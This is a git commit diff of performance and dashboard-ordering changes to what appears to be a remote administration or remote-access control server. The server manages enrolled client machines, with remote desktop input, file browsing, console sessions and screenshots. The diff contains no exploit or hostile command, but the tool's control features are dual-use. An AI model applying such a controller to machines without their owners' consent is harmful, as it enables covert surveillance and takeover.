big optimizations

This commit is contained in:
KingKDot
2026-03-22 23:21:27 -05:00
parent f69ca74346
commit 5c9c8dd543
18 changed files with 602 additions and 114 deletions
+59
View File
@@ -10,6 +10,7 @@
"flag-icons": "latest",
"geoip-lite": "latest",
"jose": "^6.1.3",
"sharp": "^0.34.5",
"uuid": "^9.0.1",
"winston": "^3.11.0",
},
@@ -30,6 +31,58 @@
"@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="],
"@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="],
"@img/colour": ["@img/colour@1.1.0", "", {}, "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ=="],
"@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.2.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w=="],
"@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.2.4" }, "os": "darwin", "cpu": "x64" }, "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw=="],
"@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g=="],
"@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg=="],
"@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A=="],
"@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw=="],
"@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.2.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA=="],
"@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.2.4", "", { "os": "linux", "cpu": "none" }, "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA=="],
"@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.2.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ=="],
"@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw=="],
"@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw=="],
"@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg=="],
"@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.2.4" }, "os": "linux", "cpu": "arm" }, "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw=="],
"@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg=="],
"@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.2.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA=="],
"@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.2.4" }, "os": "linux", "cpu": "none" }, "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw=="],
"@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.2.4" }, "os": "linux", "cpu": "s390x" }, "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg=="],
"@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ=="],
"@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg=="],
"@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q=="],
"@img/sharp-wasm32": ["@img/sharp-wasm32@0.34.5", "", { "dependencies": { "@emnapi/runtime": "^1.7.0" }, "cpu": "none" }, "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw=="],
"@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.34.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g=="],
"@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.34.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg=="],
"@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.34.5", "", { "os": "win32", "cpu": "x64" }, "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw=="],
"@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
"@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="],
@@ -246,6 +299,10 @@
"safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="],
"semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
"sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="],
"source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
"sprintf-js": ["sprintf-js@1.1.2", "", {}, "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug=="],
@@ -264,6 +321,8 @@
"triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="],
"tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
"undici-types": ["undici-types@7.18.2", "", {}, "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w=="],
+1
View File
@@ -18,6 +18,7 @@
"flag-icons": "latest",
"geoip-lite": "latest",
"jose": "^6.1.3",
"sharp": "^0.34.5",
"uuid": "^9.0.1",
"winston": "^3.11.0"
},
+30
View File
@@ -10,6 +10,31 @@ let dashboardWs = null;
let dashboardWsConnected = false;
let wsReconnectTimer = null;
function moveClientCardImmediately(msg) {
const clientId = typeof msg?.clientId === "string" ? msg.clientId : "";
if (!clientId) return;
const selectorId =
typeof CSS !== "undefined" && typeof CSS.escape === "function"
? CSS.escape(clientId)
: clientId;
const grid = document.getElementById("grid");
const card = grid?.querySelector(`article[data-id="${selectorId}"]`);
if (!grid || !card) return;
if (msg.event === "client_online") {
card.dataset.online = "true";
card.classList.remove("card-offline");
grid.prepend(card);
return;
}
if (msg.event === "client_offline") {
card.dataset.online = "false";
card.classList.add("card-offline");
grid.appendChild(card);
}
}
export function registerRenderer(fn) {
render = fn;
}
@@ -129,6 +154,11 @@ function connectDashboardWs() {
const msg = typeof event.data === "string" ? JSON.parse(event.data) : null;
if (msg && msg.type === "clients_changed") {
loadWithOptions({ force: false, reorder: true });
return;
}
if (msg && msg.type === "client_event") {
moveClientCardImmediately(msg);
loadWithOptions({ force: false, reorder: true });
}
} catch {}
};
+9 -4
View File
@@ -33,6 +33,13 @@ export function createRenderer({
const TOUCH_MOVE_CANCEL_PX = 10;
let renderToken = 0;
function reorderCards(items) {
items.forEach((client) => {
const card = grid.querySelector(`article[data-id="${client.id}"]`);
if (card) grid.appendChild(card);
});
}
function renderMerge(data, options = {}) {
const { reorder = false } = options;
totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
@@ -66,10 +73,7 @@ export function createRenderer({
.forEach((el) => el.remove());
if (reorder) {
items.forEach((client) => {
const card = grid.querySelector(`article[data-id="${client.id}"]`);
if (card) grid.appendChild(card);
});
reorderCards(items);
}
if (newClients.length === 0) {
@@ -101,6 +105,7 @@ export function createRenderer({
requestAnimationFrame(insertBatch);
return;
}
reorderCards(items);
};
insertBatch();
+113
View File
@@ -0,0 +1,113 @@
import { afterAll, describe, expect, test } from "bun:test";
import { deleteClientRow, listClients, setClientBookmark, upsertClientRow } from "./db";
const createdClientIds: string[] = [];
function createTempClient(id: string, options: { online: boolean; lastSeen: number; host: string; pingMs?: number; bookmarked?: boolean }) {
upsertClientRow({
id,
hwid: id,
role: "client",
host: options.host,
os: "windows",
arch: "amd64",
version: "1.0.0",
user: "tester",
country: "US",
lastSeen: options.lastSeen,
online: options.online ? 1 : 0,
pingMs: options.pingMs,
});
if (options.bookmarked) {
setClientBookmark(id, true);
}
createdClientIds.push(id);
}
function cleanupCreatedClients() {
while (createdClientIds.length > 0) {
const id = createdClientIds.pop();
if (id) {
deleteClientRow(id);
}
}
}
afterAll(() => {
cleanupCreatedClients();
});
describe("client list ordering", () => {
test("default sort keeps online clients above offline clients on the first page", () => {
try {
const prefix = `order-default-${Date.now().toString(36)}`;
const now = Date.now();
for (let index = 0; index < 12; index += 1) {
createTempClient(`${prefix}-offline-${index}`, {
online: false,
lastSeen: now - index,
host: `offline-${index}`,
});
}
createTempClient(`${prefix}-online`, {
online: true,
lastSeen: now - 60_000,
host: "online-host",
});
const result = listClients({
page: 1,
pageSize: 12,
search: prefix,
sort: "last_seen_desc",
statusFilter: "all",
osFilter: "all",
countryFilter: "all",
enrollmentFilter: "all",
});
expect(result.items.length).toBe(12);
expect(result.items[0]?.id).toBe(`${prefix}-online`);
expect(result.items[0]?.online).toBe(true);
} finally {
cleanupCreatedClients();
}
});
test("secondary sort modes still keep online clients above offline clients", () => {
try {
const prefix = `order-host-${Date.now().toString(36)}`;
const now = Date.now();
createTempClient(`${prefix}-offline-bookmarked`, {
online: false,
lastSeen: now,
host: "aaa-offline",
bookmarked: true,
});
createTempClient(`${prefix}-online`, {
online: true,
lastSeen: now - 1_000,
host: "zzz-online",
});
const result = listClients({
page: 1,
pageSize: 12,
search: prefix,
sort: "host_asc",
statusFilter: "all",
osFilter: "all",
countryFilter: "all",
enrollmentFilter: "all",
});
expect(result.items[0]?.id).toBe(`${prefix}-online`);
expect(result.items[0]?.online).toBe(true);
} finally {
cleanupCreatedClients();
}
});
});
+9 -8
View File
@@ -429,24 +429,25 @@ export function listClients(filters: ListFilters): ListResult {
const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
const orderBy = (() => {
const online = "online DESC";
const bookmark = "bookmarked DESC";
switch (sort) {
case "stable":
return `ORDER BY ${bookmark}, online DESC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, id ASC`;
case "ping_asc":
return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`;
case "ping_desc":
return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`;
case "host_asc":
return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`;
case "host_desc":
return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`;
case "country_asc":
return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`;
case "country_desc":
return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`;
default:
return `ORDER BY ${bookmark}, last_seen DESC, id ASC`;
return `ORDER BY ${online}, ${bookmark}, last_seen DESC, id ASC`;
}
})();
+6 -7
View File
@@ -51,24 +51,24 @@ export function handleCommand(target: ClientInfo, action: string, req: Request)
return Response.json({ ok: true });
}
if (action === "desktop_start") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start" as any, id: uuidv4() }));
return Response.json({ ok: true });
}
if (action === "desktop_stop") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop", id: uuidv4() }));
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop" as any, id: uuidv4() }));
return Response.json({ ok: true });
}
if (action === "desktop_select_display") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display", id: uuidv4(), payload: { display: 0 } }));
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display" as any, id: uuidv4(), payload: { display: 0 } }));
return Response.json({ ok: true });
}
if (action === "desktop_enable_mouse") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse", id: uuidv4(), payload: { enabled: true } }));
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse" as any, id: uuidv4(), payload: { enabled: true } }));
return Response.json({ ok: true });
}
if (action === "desktop_enable_keyboard") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard", id: uuidv4(), payload: { enabled: true } }));
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard" as any, id: uuidv4(), payload: { enabled: true } }));
return Response.json({ ok: true });
}
if (action === "disconnect") {
@@ -111,12 +111,11 @@ export function handleCommand(target: ClientInfo, action: string, req: Request)
}
return new Response("Bad request", { status: 400 });
}
}
export function markOffline(id: string) {
setOnlineState(id, false);
}
export function markOnline(info: ClientInfo) {
upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 });
upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 as any });
}
+3 -4
View File
@@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
import { flushAuditLogsSync } from "./auditLog";
import { getUserById, getUsersForNotificationDelivery, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
import { ensureDataDir } from "./paths";
@@ -233,9 +233,7 @@ const storeNotificationScreenshotForPending = (
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
const deliveryUsers = getUsersForNotificationDelivery();
return deliveryUsers
.filter((u) => canUserAccessClient(u.id, u.role, clientId))
return getUsersForNotificationDeliveryByClient(clientId)
.map((u) => ({
userId: u.id,
username: u.username,
@@ -473,6 +471,7 @@ async function startServer() {
notifyRemoteDesktopStatus,
handleBuildTagConnection,
notifyDashboard: sessionManager.notifyDashboardViewers,
notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent,
broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent,
};
+42 -21
View File
@@ -108,6 +108,27 @@ class MetricsCollector {
private eventLoopDelays: number[] = [];
private maxEventLoopHistory: number = 300;
private pruneTimestampWindow(list: number[], minTs: number): void {
let removeCount = 0;
while (removeCount < list.length && list[removeCount] <= minTs) {
removeCount += 1;
}
if (removeCount > 0) {
list.splice(0, removeCount);
}
}
private countRecent(list: number[], minTs: number): number {
let count = 0;
for (let index = list.length - 1; index >= 0; index -= 1) {
if (list[index] <= minTs) {
break;
}
count += 1;
}
return count;
}
constructor() {
setInterval(() => this.updateBandwidthRates(), 1000);
@@ -126,15 +147,13 @@ class MetricsCollector {
recordCommand(type: string) {
this.commandCount++;
this.commandTimestamps.push(Date.now());
const now = Date.now();
this.commandTimestamps.push(now);
const count = this.commandTypeCount.get(type) || 0;
this.commandTypeCount.set(type, count + 1);
const oneHourAgo = Date.now() - 3600000;
this.commandTimestamps = this.commandTimestamps.filter(
(ts) => ts > oneHourAgo,
);
this.pruneTimestampWindow(this.commandTimestamps, now - 3600000);
}
recordBytesSent(bytes: number) {
@@ -173,9 +192,14 @@ class MetricsCollector {
return { min: null, max: null, avg: null, count: 0 };
}
const min = Math.min(...this.pingValues);
const max = Math.max(...this.pingValues);
const sum = this.pingValues.reduce((a, b) => a + b, 0);
let min = Number.POSITIVE_INFINITY;
let max = Number.NEGATIVE_INFINITY;
let sum = 0;
for (const ping of this.pingValues) {
if (ping < min) min = ping;
if (ping > max) max = ping;
sum += ping;
}
const avg = sum / this.pingValues.length;
return { min, max, avg, count: this.pingValues.length };
@@ -201,8 +225,10 @@ class MetricsCollector {
this.httpTotal++;
const now = Date.now();
this.httpTimestamps.push(now);
this.pruneTimestampWindow(this.httpTimestamps, now - 60000);
if (statusCode >= 400) {
this.httpErrorTimestamps.push(now);
this.pruneTimestampWindow(this.httpErrorTimestamps, now - 60000);
}
if (Number.isFinite(durationMs)) {
this.httpLatencies.push(durationMs);
@@ -253,25 +279,20 @@ class MetricsCollector {
const oneMinuteAgo = now - 60000;
const oneHourAgo = now - 3600000;
const commandsLastMinute = this.commandTimestamps.filter(
(ts) => ts > oneMinuteAgo,
).length;
const commandsLastHour = this.commandTimestamps.filter(
(ts) => ts > oneHourAgo,
).length;
this.pruneTimestampWindow(this.commandTimestamps, oneHourAgo);
this.pruneTimestampWindow(this.httpTimestamps, oneMinuteAgo);
this.pruneTimestampWindow(this.httpErrorTimestamps, oneMinuteAgo);
const commandsLastMinute = this.countRecent(this.commandTimestamps, oneMinuteAgo);
const commandsLastHour = this.commandTimestamps.length;
const commandsByType: Record<string, number> = {};
for (const [type, count] of this.commandTypeCount.entries()) {
commandsByType[type] = count;
}
const oneMinuteAgoForHttp = now - 60000;
const httpLastMinute = this.httpTimestamps.filter(
(ts) => ts > oneMinuteAgoForHttp,
).length;
const httpErrorsLastMinute = this.httpErrorTimestamps.filter(
(ts) => ts > oneMinuteAgoForHttp,
).length;
const httpLastMinute = this.httpTimestamps.length;
const httpErrorsLastMinute = this.httpErrorTimestamps.length;
const httpLatencySamples = [...this.httpLatencies].sort((a, b) => a - b);
const httpLatencyAvg = httpLatencySamples.length
@@ -234,7 +234,7 @@ export async function handleClientRoutes(
);
metrics.recordCommand("screenshot");
}
const success = generateThumbnail(clientId);
const success = await generateThumbnail(clientId);
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
}
@@ -86,6 +86,10 @@ type WsLifecycleDeps = {
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
notifyDashboard: () => void;
notifyDashboardClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void;
broadcastClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
@@ -300,6 +304,14 @@ export async function handleWebSocketMessage(
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
user: (payload as any).user || undefined,
os: (payload as any).os || undefined,
ip: ip || undefined,
country,
});
deps.broadcastClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
@@ -361,7 +373,16 @@ export async function handleWebSocketMessage(
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.notifyDashboard(); deps.broadcastClientEvent("client_online", {
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
deps.broadcastClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
@@ -618,14 +639,14 @@ export function handleWebSocketClose(
if (role === "file_browser_viewer") {
if (sessionId) {
sessionManager.getAllFileBrowserSessions().delete(sessionId);
sessionManager.deleteFileBrowserSession(sessionId);
}
return;
}
if (role === "process_viewer") {
if (sessionId) {
sessionManager.getAllProcessSessions().delete(sessionId);
sessionManager.deleteProcessSession(sessionId);
}
return;
}
@@ -661,6 +682,14 @@ export function handleWebSocketClose(
}
if (role === "client" && currentClient) {
deps.notifyDashboardClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
deps.broadcastClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
@@ -235,10 +235,9 @@ export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: s
}
export function notifyConsoleClosed(clientId: string, reason: string) {
for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getConsoleSessionsByClient(clientId)) {
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
sessionManager.deleteConsoleSession(sessionId);
sessionManager.deleteConsoleSession(session.id);
}
}
@@ -58,7 +58,7 @@ export function handleFileBrowserViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllFileBrowserSessions().set(sessionId, session);
sessionManager.addFileBrowserSession(session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientUser: target?.user || "", clientOs: target?.os || "" });
if (!target) {
@@ -240,8 +240,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
}
let hasSession = false;
for (const session of sessionManager.getAllFileBrowserSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) {
